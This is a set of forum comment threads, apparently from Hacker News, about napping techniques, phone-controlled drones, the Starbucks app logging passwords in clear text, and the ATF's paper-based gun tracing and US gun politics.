</comment></comment></comment></comment></comment><comment><USER15> Maybe it's just me, but I'm always leery of any advice that involves not getting a good night's sleep. There are some things you're better off not trying to hack. Much evidence suggests your sleep cycle is one of them.

<comment><USER5> I'm not advocating not getting a good night's sleep. In fact, my article doesn't even talk about whether you should implement monophasic, or biphasic, or polyphasic sleep, or some other creative variant. This article is about how to nap, not whether you should nap or at what time of the day you should nap (and whether you should let it affect your sleep).

</comment></comment><comment><USER16> sounds like what the author is describing is not so much napping but guided meditation .. nothing wrong with that, anyone interested in this stuff might want to use those keywords if they are going to do a websearch or something.

<comment><USER5> It may have started as guided meditation, I'm not arguing against that. However, I now nap without any soundtrack, and without even an alarm clock, so whatever it was that I was doing at the beginning, I think it's fair to call what I'm doing now napping.

<comment><USER17> I teach meditation, and in my opinion, what you're doing is definitely a form of meditation. You have an intentional practice of relaxation that doesn't involve falling asleep. That's meditation.

Specifically, paragraphs like this can be found in hundreds of books on meditation:

 _The best way I can describe the feeling of napping is that you lie down or sit somewhere, and first focus on relaxing. Relax your muscle groups one by one, from your neck all the way down to your toes. Take a good minute or two to do this properly. Then finally you relax your thoughts. Let them drift off. It's important to gently nudge those thoughts towards more relaxing topics – you won't nap very well if you're rehearsing a conversation with the boss – but at the same time, they need to largely drift on their own. Keep your eyes closed, your body relaxed, and let your thoughts meander from subject to subject without much order._

<comment><USER5> Interesting.

You may be right... but if I derive all the typical benefits of napping (increased alertness, ability to go for extended periods of a few weeks with a lot less sleep, etc), is it not fair to call it napping? After all, if it quacks like a duck...

Also, it does happen, though probably no more than 1 out of 5 times, that I actually drift into a dream state while napping, which I would consider equivalent to being asleep.

<comment><USER18> Do you get lucid dreams? I am quite prone to lucid dreaming, especially when napping or getting back into bed after waking up in the morning.

<comment><USER5> I've only had a couple of lucid dreams in my life, unfortunately (that I can remember). I wish I had more - they were both very enjoyable.

I think part of the problem for me is that my dreams are so insane that it's very difficult for me to implement mnemonic-induced lucid dreaming.

<comment><USER18> Habits tend to carry over into dreams. Just make a habit of testing for reality every once in a while (or when something looks remotely fishy). E.g. I found that I can not read in dreams--or at least everything longer than a few letters changes when I read it twice. (Jumping also works different in dreams, but that's too geeky to do while you are awake.)

</comment></comment></comment></comment></comment></comment></comment><comment><USER19> It seems these ways of falling asleep are really just creating favorable conditions for sleep.

A number of years ago I learned how to relax and fall asleep in a very effective way.

I was at a friend's house and tried a biofeedback device.

If you google search "GSR2" I think you'll find approximately the device I learned with. Later I bought my own similar device (like ~$10) from radio shack (google search "radio shack biofeedback monitor"). I don't know if they make that anymore.

What these devices do is teach you to relax. You have a tone, and when you relax, it decreases in pitch. If you just think you are relaxing, but the pitch doesn't decrease (or goes up), you can't cheat. By the end, the pitch is very low and you're almost asleep.

Once you learn how to do it, it's quite easy to relax and fall asleep. Using the other tricks like darkness, earplugs or relaxing sounds can then help you.

</comment><comment><USER20> "I will lie in bed, awake, forever thinking and rethinking whatever happens to be on my mind at the time."

I can sympathize. I used to have a ton of trouble falling asleep until I learned some basic meditation techniques to shut off the inner dialog.

I quite literally focus on turning off my brain. I'm not really doing that, of course, but that's how I visualize it. With a little practice you can drift off at will.

Also, I read once that the meditation masters would carry a bamboo stick for students that fell asleep, for a good reason. :-)

</comment><comment><USER21> I'm somehow amused at the fact that he could easily get away with dozing off in a restroom stall at his old workplace.

<comment><USER5> People don't notice that you're away from your desk for 20 minutes - at least not in my line of work.

When the weather got warmer, I went outside to nap in the grass instead.

As for my productivity, I'm pretty sure it was greatly enhanced by the fact that I was napping.

</comment></comment><comment><USER22> I feel so old school in the way i take naps. just have lunch, drink and espresso, lean comfortably on the couch and 20 minutes later (when the caffeine kicks in), my alarm wakes me up, ready to knock out the rest of the day. Well... the rest of the day until the next nap, right before dinner.

</comment><comment><USER23> I use radio static to fall asleep; it has the same effect on me as those binatural beats. I focus on trying to conjure up an image out of that noise (a waterfall or a rainstorm is often what I get) and that consequently drowns out my thoughts until I just pass out.

</comment><comment><USER24> My strategy is to stay awake until I start to doze off. At that point, I go straight to bed and usually fall asleep within a few minutes.

If I go to bed sooner than that, my mind races and I can't fall asleep.

</comment><comment><USER25> Brainwave entrainment java app:

<http://pantheon.yale.edu/~bbl2/GnauralJavaApplet_signed.html>

</comment><comment><USER26> I was expecting a sales pitch at the bottom. It's a great anecdote and I'll try it out, but there's no evidence aside from his story that this works.

<comment><USER5> Just to make this clear:

I have no affiliation whatsoever with Pzizz. I mentioned it a lot because it was a central element of how I learned to nap.

I have exchanged a couple of emails with the guys from Wakemate, and may perhaps get a review unit at some point, but I won't derive any financial benefit from it (I've paid for that unit!).

<comment><USER26> I suppose I structured that sentence in a "jerk" fashion. My intent was that I was looking for some more research into this method other than a story, well- written I might add.

I didn't expect you to be paid by Pzzzzz, but I did check for affiliate links ;)</comment></comment></comment>


Drones That Anybody Can Pilot with a Phone - <AUTHOR> http://www.wired.com/2015/01/skydio-drones/

<comment><USER2> Drones that came with an iOS/Android app have been available for around two years. So the only USP here is that ex-Google employees made another one "me too!" Good for them, but nothing revolutionary going on here.

<comment><USER3> > Good for them, but nothing revolutionary going on here.

The article is hindered by the fact that the author doesn't appear to be familiar with what's on the market already, so he doesn't focus exclusively on the right things. Watching the embedded video introducing the tech, it's clear that they're working on optical flow algorithms that will allow a drone to autonomously avoid obstacles and (eventually) navigate in GPS-denied environments without heavy and expensive sensors. It's true that there are other people working on it, but no one in the commercial market at least has come anywhere close to solving this problem. I'm excited by the possibilities this capability would open up.

</comment></comment><comment><USER4> We've been doing this since 2010 at www.robots-everywhere.com although it has to be an android phone. The software and even the schematics have been creative commons'd since 2012, too (they're on the wiki). We demoed at Google I/O 2010.

Wired has been notified of this over the years and consistently failed to report it.

<comment><USER5> Are you working on sense and avoid? How is it going?

<comment><USER4> Pretty well. Amazing what you can do with $5 ultrasound detectors, if your software is clever.

[https://www.youtube.com/watch?v=kk-H-- e6PUs](https://www.youtube.com/watch?v=kk-H--e6PUs)

</comment></comment></comment><comment><USER6> The use of phones to control devices like this is kind of old news .. what I'd be interested in more is a kit you can use that will turn your average iPhone into a flying drone itself .. bolt on some wings/rotors, charge up the batteries, and let it loose. Seems to me that is an accessory whose time has come .. perhaps its out there on the horizon somewhere already, who knows?

EDIT: It IS! This is what I want in the iPhone/drone department, next:

[https://www.youtube.com/watch?v=yhv7qmo63D4](https://www.youtube.com/watch?v=yhv7qmo63D4)

(EDIT2: D'oh, looks like its CGI .. still, a man can dream..)

<comment><USER7> I've been playing with using Ubuntu phone as a brain for drones and robotics. People have been doing the same with Android for a while. There are lots of Arduino boards that communicate with Android either over bluetooth or OTG USB.

<comment><USER6> Sounds great .. have you got anything up online about how you're using the Ubuntu phone for this? I'd love to participate somehow .. I'm a long-time flying-thing builder (3 decades now) and to me this seems like a very ripe opportunity for someone to disrupt the drone world. Of course, there is an ulterior motive: getting people to launch their phones into the wide blue yonder, yay! :)

<comment><USER7> not yet, you can ping me at info (at) londonhelicam dot co dot uk</comment></comment></comment></comment>


Starbucks caught storing mobile passwords in clear text - <AUTHOR> http://www.computerworld.com/s/article/9245438/Evan_Schuman_Starbucks_caught_storing_mobile_passwords_in_clear_text_?taxonomyId=17&pageNumber=1 <comment><USER2> > Starbucks could have chosen not to store the password on the phone, but > users would then be forced to key in their username and password every time > they wanted to use the app to make a purchase.

These aren't the only two options. Storing a token would let users remain logged in without having the same security implications as storing the password.

Some advantages of a token vs a password:

1\. Lots of users use the same password on multiple sites

2\. You could allow common usages via a token but still request a password re- entry for more potentially dangerous actions like changing the email address on the account

3\. Tokens can be invalidated, so if the phone is lost the user can disable the app on it without needing to change their password

4\. Tokens can be selectively invalidated, so if you have multiple devices you could log some of them out without logging them all out

5\. Tokens can be set to expire so you can request password re-entry every so often just to ensure a bad actor would get locked out eventually

<comment><USER3> > 1\. Lots of users use the same password on multiple sites

I'd never say this at a job interview but I'll be Devil's advocate: As a business, this isn't my problem, it's yours. If you want the convenience of the same password for multiple sites, in the real world there are going to be weak points on some of those sites and someone who can abuse any point of the chain on any site can obtain your password for all.

For the rest, expecting to change my passwords if my phone is stolen is not an unreasonable thing at all. I should do this anyway, even if businesses ensure me that I don't have to.

And 99% of users who aren't IT or security professionals would just prefer to be done with entering their password after the first time, period.

<comment><USER4> > I'd never say this at a job interview but I'll be Devil's advocate: As a > business, this isn't my problem, it's yours.

This argument is the same as saying "It's not my fault you're being spied on because you're not using OTR in your IM; it's yours." You're technically right that the user could theoretically avoid this problem, but you're wrong in practice since you're setting impossible expectations that even security- conscious people often don't meet.

It's a service provider's responsibility to not let user credentials be easily accessible because those credentials are used in many places. The latter is a more fundamental issue, yes, but you deserve the flak you get if you just say "not my problem."

</comment></comment></comment><comment><USER5> The actual disclosure linked in the article is a little bit different than what the article is implying.

[http://seclists.org/fulldisclosure/2014/Jan/64](http://seclists.org/fulldisclosure/2014/Jan/64)

The file in question is a log generated by the application. They are NSLog'ing stuff to the console, and Crashlytics must be capturing it up and putting it in this file. Along with debug tracing messages like this below, they're logging server interactions and JSON responses that contain personal information (I see my home address, telephone number, etc coming back from the server and being logged).

       2539 $ -[CardDetailViewController refreshCardDetails:] line 798 $
       2548 $ -[CardDetailImageViewController viewDidLoad] line 28 $ view did load
       2551 $ -[CardDetailImageViewController viewWillAppear:] line 48 $ view will appear
       2551 $ -[CardDetailImageViewController viewDidAppear:] line 53 $ view did appear
       2588 $ -[CardDetailViewController refreshCardDetails:] line 798 $
       2607 $ -[CardDetailViewController doPageChange:] line 684 $ :
       2652 $ -[CardDetailViewController viewDidAppear:] line 301 $ I APPEARED!!
       2652 $ -[StarbucksAppDelegate trackView:] line 1084 $ 2014-01-14 18:50:37 +0000 /Card/MyCard
       2791 $ -[CardDetailViewController viewDidAppear:] line 301 $ I APPEARED!!

So the situation here isn't one of tokens vs passwords vs encryption or otherwise how they're being stored for interacting with the server. The user is going to have to enter a password at some point in the workflow, regardless of whether it's encrypted at rest or exchanged for an OAuth token or whatever. You shouldn't be logging that password back to the console when the user enters it!

edit: This also means that all that personal information of mine is presumably on some Crashlytics host as a side effect of all this having been logged and sucked up by Crashlytics.

</comment><comment><USER6> _" If you grab someone's phone, you can effectively go through this log and see effectively where this person has been," Wood said. "It's a bad thing for user privacy"_

Compared to what? The implicit assumption is that Starbucks gathering and storing geolocation data is not a potential invasion of privacy or a meaningful risk. The person who steals my iPhone is very unlikely to do so for the data it contains. Their goal is to flip it for cash and a datum ain't worth much to anyone other than the PI my wife hired to find out if I'm sleeping around or an attractive lab technician in _CSI: Miami_.

No the real risk to privacy is when Starbucks' servers are comprised. Today's Willy Suttons are still bank robbers not pickpockets. Spreading the data out spreads the risk and reduces or eliminates the probability of a catastrophic breach.

Of course it will be popular sport to pillory Starbucks for not following the conventional wisdom because it allows us to ignore the fact that passwords are broken. There's no technical fix for poor password hygiene among iPhone owners and an encrypted password will barely slow down a determined attacker with a couple of GPU's and physical possession of the phone.

<comment><USER7> _"... a datum ain't worth much to anyone other than the PI my wife hired to find out if I'm sleeping around or an attractive lab technician in CSI: Miami."_

This is completely off-topic, but am I the only one who wondered why his wife would hire a PI to find out if he is an attractive lab technician?

Not as a critique, I just find grammatically-correct ambiguous cases like this one interesting.

</comment></comment><comment><USER8> Pretty off topic, but I submitted this story last night [1] with the exact same URL and title. I thought whenever duplicate stories were submitted, it just upvoted the original submission without posting a duplicate story (that's what's happened to me in the past).

I originally saw this, and thought the URL was just different (even if just slightly), so I wasn't even going to say anything.

But since the URLs are identical, was just curious how the HN logic works when submitting duplicate URLs like that. Is it that too much time had passed, considering them "different" submissions?

[1] [https://news.ycombinator.com/item?id=7068298](https://news.ycombinator.com/item?id=7068298)

<comment><USER9> It's not the same URL. Yours was the mobile version (it has a m.) and his was the normal URL.

I think this one got more traction just because of the timing of the post too being in the morning and getting enough traction to make it to front page.

<comment><USER8> Ah, that's it, thanks. I made the mistake of clicking the link (I'm on a desktop now), and copying the redirected URL to compare, which was the same as this one.

That's what I get for posting submissions from my phone.

</comment></comment></comment><comment><USER10> I LOL'ed so big just reading the headline. It is absolutely terrible, but I have seen this before with big companies that should know better. About 6 years ago I was working on a project for The Wall Street Journal (yeah; that WSJ) in which all customer data was being stored in the DB in plain text then exported nightly to an Excel report and emailed unencrypted to client managers so they could review daily sales.

On numerous occasions I told them that was extremely risky and that we were violating PCI compliance and opening the companies to huge potential fines in addition to just putting customers information at risk.

Every time I brought this up I was told there wasn't time to fix the application and that the client managers thought it was too difficult to deal with encrypted files so just leave everything the way it was.

Eventually they got busted on a PCI compliance audit and started using PGP to encrypt the files sent via email; but by the time I left they still were not encrypting the backend data or actually maintaining PCI compliance. Extremely sad; but this happens all the time.

</comment><comment><USER11> _Every_ single app on your phone that remembers a username and password combination, or any other credential, is likely vulnerable.

Imho its about time that Google required the presence of a HSM in Android devices for key storage. A HSM that locked me out after ~10 x 6 digit PIN guesses (with software locking me out at a lower number) strikes me as a good thing. If someone wants to destroy my $500 phone, prise out a chip, grind it down, and look at it under an electron microscope to extract my passwords, then good luck to them. Why isn't this happening?

<comment><USER12> _A HSM that locked me out after ~10 x 6 digit PIN guesses..._

And now you've got a DOS enforced by hardware. Hopefully if I bring it back to the store I can get it reset? The existence of this reset sort of negates the point of an HSM.

However, I could see the point of an Android module that, rather than locking the user out, would simply delete keys the password to which had been entered incorrectly a configurable number of times. For an app like this, the user would simply have to enter a password and CC again.

<comment><USER11> Yes, a reset/unlock is a bad idea. Keys should be erased, and it should be up to apps/services to determine an appropriate means to re-authenticate users.

</comment></comment></comment><comment><USER13> Storing a token isn't really much more secure than storing the password itself. (If I steal your token, I'm buying coffee with your account even though I don't know your password. A token that authenticates account access _is_ a password.)

But it _seems_ much more secure (which, it turns out, matters) and it does somewhat protect people who reuse the same password everywhere.

<comment><USER14> You can invalidate tokens for a compromised phone. Well you can also change your password, but I'd rather revoke the access from my phone than have my password stolen. Some kind of validation mechanism before you order could be nice (like a screen lock), something you can do with one hand.

</comment></comment><comment><USER15> I sympathize with the developers because I face this maddening argument every day between convenience and security, but storing passwords in plaintext on local. Geez.

Make a token on the server after initial login and store that! Not much more secure, but then this story wouldn't be news.

<comment><USER16> Seriously. Bigger problem is password reuse. If someone gets access to a user's password they then most likely have access to their email account, etc.

</comment></comment><comment><USER17> We use crashlytics as well but only an idiot would store username and password in the clear in their log. Geez, just store a randomized database ID if you have to. It's funny how people justify stupidity when they get caught.

</comment><comment><USER12> _Only when adding money to the app is the password required._

This seems precisely backwards.

<comment><USER18> "Adding money" means applying a credit card to purchase Starbucks credit, usually by a sequence like "Reload card -> $25 -> Confirm" on a pre-stored credit card number. Buying from the app has a small cash pool to draw from; reloading from a CC can get one a whole lot more money.

<comment><USER12> I'm not a Starbucks regular so I may have missed a detail. Transferring money from a stored bank account to the app seems to be a server action, so the server should be doing the auth. What then is the point of storing the password on the client? If it's just to confirm possession of the phone, a token would be better for usability, as well as in all the other ways a token is superior to a password. TFA says the password is also used to activate the app, but a token signed with a timestamp and emailed to the user would be better for that.

</comment></comment></comment><comment><USER19> The assertion that users can make unlimited purchases after entering credentials just once is false: "Customers need only enter their password once when activating the payment portion of the app and then use the app to make unlimited purchases without having to key in the password or username again."

That is, unless you have automatic reloading on, which is a crucial point. This doesn't excuse the practice of storing passwords in clear text, but it's an important detail.

</comment><comment><USER20> I don't get why not at least AES it.

<comment><USER13> With a static key? I mean, sure... but that's just obfuscation.

<comment><USER21> Not really.

It goes like something like this:

      1. Starbucks' server has the private key, the iPhone app
         has the public key.

      2. The app locks the plaintext up in AES with the public
         key, local to the phone, and keeps the locked data,
         and sends a copy to the server. The server has the
         private key, and can unlock the data locked up with
         the public key anytime, even though the app (in
         possession of the public key only) cannot unlock the
         data by itself.

      3. The app needs network access to operate properly,
         because honestly, why is Starbucks attempting to
         transact without a network connection, so if there's
         no network access and the protected data can't be
         accessed, oh well. Oh, and by the way, if the app
         really needs the plaintext, why not just ask the user?
         Oh right, thinking is hard. Don't ask a lazy user to
         do anything.

      4. Each time the app needs to unlock the protected data
         and use it locally, it sends a GET request to the
         server via HTTPS. Maybe it sends XML, maybe it sends
         JSON. Who cares, as long as it's not keeping and using
         the plaintext.

      5. Based on the nature of the request, the server decides
         whether it needs to send the plain text back over
         HTTPS, or whether the app is just asking the server to
         do something server-side involving sensitive data. If
         the app *REALLY* needs the locked data sent back in
         plaintext, the server sends it back for one time use
         via HTTPS (still protected from interception, even
         though it's being sent over network), to be nulled out
         after the process or function returns complete.

      6. The server is a fortress, and has the private key
         (...somewhere). It does not store the sensitive data
         in plain text. It too only stores the locked data, but
         is capable of unlocking the data on the fly, per
         request, each request, every time. The server should
         actively garbage collect the plaintext data, and not
         leave stale copies lying around.

      7. The server *NEVER* give an app a copy of the private
         key. NEVER, EVER. The iPhone app can rot in hell if it
         can't get the data unlocked. If it has to wait, it
         waits. Find something else to do. Mine bitcoins,
         unfold some proteins, whatever.

Yes. This demands a server infrastructure with high performance and high availability, according to the popularity of the app (many millions of concurrent users). It will be expensive and complicated to execute something like this. One would not _JUST_ AES it.

But hey, lazy users can't be bothered to type passwords and such. Gee whiz! Isn't this Starbucks app easy to use? How did they do that?

<comment><USER22> > AES with the public key

I beg pardon, but this part is a nonsense because AES is a symmetric cipher.

And even if you use public-key crypto, the schema's not better than old plain OAuth 2 tokens (or alikes). Actually, it's worse because of unnecessary complexity and because, as opposed to encrypted password, OAuth token has no relation to password at all.

Lose the encrypted key and until you change the password or revoke phone's key (so encrypted key would be unusable) you're not secure. Same with a token except that you don't have to change the password, just revoke a token.

<comment><USER21> Whoops! Looks like your right... AES doesn't use public key exchange, and public/private key pair generation at all! I was entirely confusing it with other completely different things.

Ha ha! Sorry...</comment></comment></comment></comment></comment>


Inside the Federal Bureau of Way Too Many Guns - <AUTHOR> http://www.gq.com/story/inside-federal-bureau-of-way-too-many-guns <comment><USER2> > No, says the gun lobby. It would give the government a tool to confiscate > our guns. The idea of a gun registry is the great fever dream that lies at > the heart of gun-control conspiracy theories: Government evildoers are going > to attack us any day now. We have to be ready. (And you don't give the enemy > an inventory of all your weapons!)

I mean, I constantly see the concerns of gun owners derided like this, but I've never seen a good reason why they shouldn't be scared of a national registry. The debate has been purely adversarial for quite some time, so I'm not sure why/how both sides should come together for a good-faith compromise.

<comment><USER3> My rationale behind not supporting any compromise is simple: the other side does not want me to have any guns.

Imagine if the most anti-gun position in America was still very pro-gun people like say Charleton Heston, then I'd be willing for a compromise. I would be ok with building a registry where the police can search for guns.

But the fact is, we know that Hillary Clinton talks about how Australia successfully got rid of all its guns. We know that the ultimate goal isn't a happy compromise in the middle.

This is why the 'cold dead hands' mentality exists in America.

It's like imagine if Republicans want a national registry of people by their religion. Or national ethnicity database. The Democrats wouldn't (and shouldn't) give an inch on that.

<comment><USER4> Insane. No politician is calling for a complete elimination of guns. That idea has never been proposed or discussed seriously in any way. I don't think even the fringe of the anti-gun lobby wants to get rid of all guns.

This is probably one of the most successful strawmen in all of US politics. I don't think anyone on either side actually believes that the government would ever try to confiscate all guns

<comment><USER3> > Insane. No politician is calling for a complete elimination of guns. That > idea has never been proposed or discussed seriously in any way. I don't > think even the fringe of the anti-gun lobby wants to get rid of all guns.

Are you serious? I can't determine if you're being sarcastic or not.

Sure the idea has never been formally proposed, because no politician will ever get elected in America if they proposed such idea.

But here's Hillary Clinton for you:

> I do not know enough detail to tell you how we would do it, or how it would > work, but certainly the Australian example is worth looking at.<

Now you may say that Hillary Clinton didn't mean gun confiscation by 'Australian example', but it's clear she clearly isn't appalled by Australian gun confiscation.

Why Australian example? Why not Canadian example? Why not French example? Sure maybe this is not a strong correlation.

But then Democrats get caught all the time talking about complete elimination of guns when they think they are not on Camera:

[http://dailycaller.com/2015/12/01/maryland-deputy-ag- reveals...](http://dailycaller.com/2015/12/01/maryland-deputy-ag-reveals- secrets-in-hotel-meetings-with-undercover-okeefe-reporter-video/)

Matt Damon openly supports Australia styles gun confiscation:

[http://insider.foxnews.com/2016/07/06/matt-damon-mass-gun- co...](http://insider.foxnews.com/2016/07/06/matt-damon-mass-gun-confiscation- needed-us-australia)

I'm sorry, but I don't believe that the ideal vision of America gun control proponents have is to have no civilian ownership of guns.

<comment><USER5> Australia hasn't eliminated all guns. In fact, the number of guns owned legally by Australians now exceeds the number pre-Port Arthur.

</comment></comment></comment></comment></comment><comment><USER6> Good. The gov't has no more a right to track my guns as they do my book purchases. "Alcohol, Tobacco, and Firearms" should be a convenience store, not a gov't agency.

<comment><USER7> But you're OK with the car registration system? And the cell phone IMEI database? And the no-fly list?

Edit: I should have been more general with the "you". Only the opposition to the gun database has succeeded. There's no general conversation about privacy; there's no coalition of pro-privacy orgs with a consistent view on what should and should not be stored in databases. Why is this?

<comment><USER8> As someone who agrees with the OP I am definitely not a fan of the no-fly list and other centralized registration databases.

</comment></comment></comment><comment><USER9> Charlie is now my hero, he applied queuing theory to improve time take to identify guns.

That's the right kind of person (comp sci and Intelligence background), using science to deal with a kafkaesque situation (no computers allowed) and managing to improve outcomes.

<comment><USER10> I loved reading how they optimized the search problem. Charlie has CS education, the way they sorted their tuples and organized their data (as long as it's not by name!) reduced query times. Ironically, a CS education can help you optimize those processes even where computers are not allowed.

<comment><USER11> What's ironic about this? Computer Science is the study of algorithms, not the study of whatever language is _en vogue_ today. For the latter, you attend Coding Bootcamp.

<comment><USER10> CS is not necessarily just the study of algorithms. I have a formal CS education and it encompasses everything from circuit design to algorithms to data structures to operating systems to statistics and graph, number and decision theory. Algorithms is a subset of overall theory that is a component of Computer Science and Maths.

But I do agree, they've implemented some sort of hashing, with several buckets and trees to search from. It may not be efficient compared to actual computer databases, but it's the best humans can do with O(log n). Space requirement is still unfortunately O(n) but hopefully PDFs will help the ATF guys.

If anything I'm saying that I'm happy people are recognizing that Computer Science has applications outside of computers, and is practically Applied Maths. A bachelor's degree in CS is only 2-3 math courses away from a minor in Maths.

The irony is that a computer scientist is helpful in a computer-less environment. I guess you could say the human mind is a very advanced computer. It may not seem ironic to everyone on HN, but to the layman, what on earth could a CS person do with no computers? And the answer is a lot. After all Djikstra handwrote his algorithms on paper.

</comment></comment></comment></comment><comment><USER11> The encouraging thing is this: there is a strong sentiment in the US that the government should not track firearm purchases, there are laws in place to that effect, and consequently it is very difficult to track down the owner of a registered gun. The political process works!

Now, if we just could de-fang Google, Facebook, the advertising networks that track users across websites and all the other data aggregators!

<comment><USER12> The obvious difference is that the gun industry is opposed to making it easy to track down guns. There are no powerful financial interests fighting for our data privacy.

<comment><USER3> Home come gun industries in other countries fought against gun laws? Maybe it's something to do with the fact that Gun lobby is powerful because we're a huge gun owning country with a constitutionally defined right to keep and bear arms.

People don't become alcoholic because powerful beer industry spent money on preventing laws against alcohol.

<comment><USER12> > People don't become alcoholic

Perhaps you're right, and we need to treat our countries addiction to guns instead of trying to reduce the supply.

<comment><USER3> > Perhaps you're right, and we need to treat our countries addiction to guns > instead of trying to reduce the supply.

There's no 'addiction' to Gun. I am an immigrant myself, and before coming to America I was anti-gun. Now, I am not scare of guns anymore and consider it to be a great social good.

</comment></comment></comment></comment></comment><comment><USER13> The reality is that this is putting the very people whom guns are supposed to protect us against in charge of their regulation. The second amendment is there not for hunting or sporting, but rather to maintain a state militia, literally a state-level military:

 _A well regulated Militia, being necessary to the security of a free State, the right of the people to keep and bear Arms, shall not be infringed._

You can see this underlying (and, to many modern folks, uncomfortable) reality being admitted to implicitly when they go after long guns first, despite the fact that long guns account for a vanishingly small amount of total gun crime. Long guns _are_ excellent for challenging an overreaching central government, however.

<comment><USER14> Registries in the US have very poor compliance rates; under 5% for a rifle registry in CA in the 1990s (the Atty General called the registry "a failure"), and a similar rate for a more recent attempt to register long guns in Connecticut.

The government can run through the physical paperwork (held by dealers), but it's slow, inaccurate and inefficient. Many people think that is a feature.

[The funny thing about "assault weapon" bans is that of two firearms that are _functionally identical_ , one will be banned because it merely looks evil -- black and creepy looking -- while the other will be explicitly allowed in legislation. It's political posturing that just creates more criminals and does nothing to address the underlying causes of violence, namely failed socio-economic policies and the war on drugs, which creates a nice, solid economic base for gangs].

</comment></comment><comment><AUTHOR> _" He has to have the files printed out, and then the ladies take pictures of them and store them that way. Anything that allows people to search by name is verboten."_

If that is the only issue, I would construct a database that maps (gun type, serial number) to physical location ((microfiche, page, row) or (binder, page, row)). That should speed up look ups by (gun type, serial number) tremendously, but still would require one to go through all physical data to search by name.

<comment><USER7> > I would construct a database

.. and that's how you get thousands of armed protestors demanding that your organisation be shut down and your records destroyed. It doesn't matter what the proposed contents of the database are. The politics is extremely volatile and not very rational.

(Even the IRA were finally persuaded to put their weapons "permanently beyond use", in the language of the peace agreement.)

<comment><USER8> Yes it is very political, but I disagree that it isn't rational. The stance is that registration leads to confiscation. This has been proven time and time again. And no we don't want to be like some countries that have registrations and you have to store your weapons in some offsite facility and can only access them for certain times of the year with approved ammunition.

<comment><USER7> Oh, I'll agree that the ratchet is real and that every proposal is intended to reduce and de-normalise gun ownership. In that sense, I can see why every single measure is opposed. It's the non-hunting rationales for ownership that are the irrational politics.

<comment><USER15> It seems to be having the opposite effect. Every time there is a threat to institute new legislation, gun sales go through the roof.

<comment><USER16> it certainly looks like the gun control lobby and gun manufacturers lobby are in symbiosis.

<comment><USER17> Heh, something like the Baptist and Bootlegger's alliance?

From someone who's been in this fight since the early '70s, nope, the gun manufacturers' lobby, the National Shooting Sports Foundation (NSSF, [http://nssf.org/](http://nssf.org/)), is a very small political player.

The gun _owners_ lobby, especially the NRA, yes, the appearance of symbiosis is to a great extent true, but that took decades to achieve, not until the 1977 Cincinnati Revolt, and it wasn't until the 1994 "assault weapons" ban that a Federal gun control law was passed without the NRA's blessing.

We're much bigger, gun and ammo manufacturing isn't a very big industry as these things go. 5 million people in the NRA, at least half the people in the US (last survey, 45% willing to admit to it)? Much larger.

</comment></comment></comment></comment></comment></comment></comment><comment><USER18> I got a stupid question from a stupid American(me):

What would happen if ammo was taxed the same way cigarettes are in the USA?

An example, someone buys a semi-automatic gun or automatic weapon...well than the ammo is taxed at a modest 5000%.

You can have the guns all you want..but if you want to use them you pay the right cost to the degree of dangerous of the gun weapon...ie automatic ammo is taxed higher than say shotgun shells.

State, both local, US states and federal would be exempt from the ammo tax.

<comment><USER15> Reloading would become an even bigger deal than it already is. Already, anybody that shoots seriously and goes through a lot of ammunition will usually get setup with reloading equipment, because buying the powder, primers and bullets, with reused brass, is at least half as expensive as buying new ammunition.

Also, there isn't a meaningful distinction between ammunition used in semi- automatic vs other types. 9mm is 9mm is 9mm, whether you're shooting it out of a Glock or a revolver or a single-shot target pistol. Same thing with rifle ammunition - NATO 5.56x45 tends to be what a lot of AR-15 variants, the so- called "assault weapons" are chambered in, but there's no reason you couldn't also have a bolt-action hunting rifle in the same caliber.

<comment><USER17> 5.56 NATO was derived from the .223 Remington cartridge developed for the original AR-15, which was derived from the .222 Remington varmint cartridge and intended to be between it and the .222 Remington Magnum.

My father's primary hunting partner when I started hunting had a .222 bolt action rifle; if this had happened later, it would undoubtedly be a .223 due to the reduced costs of the 5.56/.223 ecosystem.

<comment><USER15> It can be incredibly frustrating to find slightly odd-ball calibers like that. My father has a couple of old lever action deer rifles that he's inherited, and they can be lots of fun to track down ammunition for, since some are larger caliber rimfires that are virtually extinct, and the rest are tend to be odd flat-nosed Winchester cartridges, to accommodate the tubular feeds.

<comment><USER17> What's the larger caliber rimfires? I've only read about them, and from what I've heard in passing about the dangerousness of making rimfire ammo (in relation to one of the reasons US manufacturers aren't contemplating expanding production), suggests you're out of luck there.

The classic centerfire flat-nosed Winchester cartridges, though, you can of course reload them after getting some modern ammo for it (don't try this with old mercury fulminate primed ammo, I read an article by someone who had an old Browning police semi-auto carbine, he wrecked it because the mercury fatally compromises the strength of the brass). My father has or had one of those, I think it was from the era when you could buy one with the same ammo for your handgun as your rifle, the action certainly wasn't very strong. Octagonal barrel, a really neat piece of history.

Ah, and for those who aren't into this sort of thing, all the "calibers" I mentioned in my above comment use bullets of the same width, it's a confusing "system", if you can call it that, it grew organically.

</comment></comment></comment></comment></comment><comment><USER19> Would a "bot approach" to searching these records work?

Say you were looking for (to use the article's example) a 9-mm semi-automatic Beretta 92 sold at Annie's Get Your Gun, serial number ABC123.

You have the scans of all the Form 4473s put into folders (or maybe not, maybe just everything in a dump), and tell the bot to go looking for any form that matches this pattern. Importantly, the bot would NOT cache or structure data for later lookups; every search would be virgin.

You'd have a lot of false positives (the O 0 and I 1 problem), it would not be terribly helpful at handwritten forms, but it could reduce a pile of a million records down to, hopefully, a few hundred or thousand.

</comment><comment><USER20> > "I've got this form in my hand here. I'm looking at the form. I can tell you > for a fact right now the purchaser and possessor are the same person."

Seems that either the author doesn't understand how the 4473 works, or Charlie. Most likely both. A Form 4473 defines the possessor of the firearm like the IP address defines the user of the Internet connection.

<comment><USER21> I read some into this and could certainly be wrong:

The possessor is determined by the gun being found by local law enforcement finding an individual, A, in posession of the gun in question.

A trace request is submitted. The gun (in police custody after being found in A's possession) is associated with a form 4473. That 4473 is found, and the original purchaser is indicated to be A.

The quotes excerpted in this article seem to be missing a lot of context and to have come from longer discussions that are noted to be emotional in many cases. I am interpreting that quote as part of a longer conversation where the speaker is jumping around a lot.

The whiteboard section clearly indicates that Charlie does not necessarily express his thoughts linearly and in an easy-for-the-author-to-follow manner.

</comment></comment><comment><USER22> I guess it's me, but this while system and all those scared comments here of people afraid to have the gov. Know which guns you have, completely baffel me. I expected some smart individuals here, being able to recognise how weird this whole attitude is, but I am sorely dissapointed.

<comment><USER17> Smart is orthogonal to this issue, unless you consider it a synonym for wise (and few young smart people are also wise, something that's been notes for millennia).

Educated or knowledgeable is all you need, those who know about the history of confiscations and often genocides following gun registration are _of course_ afraid to let the government know.

